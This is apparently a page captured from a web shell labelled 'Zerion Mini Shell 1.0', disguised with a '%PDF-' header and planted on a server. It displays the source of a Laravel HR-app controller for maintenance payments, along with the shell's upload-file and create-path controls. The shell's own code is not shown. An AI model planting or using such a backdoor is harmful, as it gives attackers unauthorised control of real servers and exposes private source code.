%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/app/Http/Controllers/Api/v1/MaintenancePaymentsController.php

<?php

namespace App\Http\Controllers\Api\v1;


use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\MaintenancePayments\CreateMaintenancePaymentRequest;
use App\Http\Requests\Api\v1\MaintenancePayments\UpdateMaintenancePaymentRequest;
use App\Models\MaintenancePayment;
use App\Transformers\DayTransformer;
use App\Transformers\MaintenancePaymentTransactionTransformer;
use App\Transformers\MaintenancePaymentTransformer;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Throwable;

class MaintenancePaymentsController extends ApiController
{
    /**
     * @var DayTransformer
     */
    private $transformer;

    public function __construct(MaintenancePaymentTransformer $transformer)
    {
        $this->transformer = $transformer;
    }

    public function index(Request $request)
    {
        $data = MaintenancePayment::query();
        if ($search = $request->get('search')) {
            $data = $data->where('name', 'like', "%$search%")
                         ->orWhere('description', 'like', "%$search%")
                         ->orWhereHas('client', function (Builder $q) use ($search) {
                             $q->where('name', 'like', "%$search%");
                         });
        }
        $data = $data->orderBy('is_active', 'desc')
                     ->orderBy('next_payment_date')
                     ->paginate($request->get('per_page'));
        return $this->collection($data, $this->transformer);
    }

    public function show(MaintenancePayment $maintenancePayment)
    {
        return $this->item($maintenancePayment, $this->transformer);
    }

    public function store(CreateMaintenancePaymentRequest $request)
    {
        try {
            $payment = MaintenancePayment::createItem($request->only([
                'name',
                'description',
                'amount',
                'currency',
                'start_date',
                'cycle',
                'client_id',
                'type',
            ]));
            return $this->item($payment, $this->transformer);
        } catch (Throwable $e) {
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    /**
     * @param UpdateMaintenancePaymentRequest $request
     * @param MaintenancePayment $maintenancePayment
     * @return JsonResponse
     */
    public function update(UpdateMaintenancePaymentRequest $request, MaintenancePayment $maintenancePayment)
    {
        try {
            $payment = $maintenancePayment->updateItem($request->only([
                'name',
                'description',
                'amount',
                'currency',
                'cycle',
            ]));
            return $this->item($payment, $this->transformer);
        } catch (Throwable $e) {
            return $this->wrongArguments([
                'message' => $e->getMessage(),
            ]);
        }
    }

    public function paymentReceived(MaintenancePayment $payment)
    {
        try {
            $payment->paymentReceived();
        } catch (Throwable $e) {
            return $this->wrongArguments($e->getMessage());
        }
        return $this->item($payment, $this->transformer);
    }

    public function cancel(MaintenancePayment $payment)
    {
        try {
            $payment->cancel();
        } catch (Throwable $e) {
            return $this->wrongArguments($e->getMessage());
        }
        return $this->item($payment, $this->transformer);
    }

    public function getTransactions(MaintenancePayment $payment)
    {
        return $this->collection($payment->transactions, new MaintenancePaymentTransactionTransformer());
    }

}

Zerion Mini Shell 1.0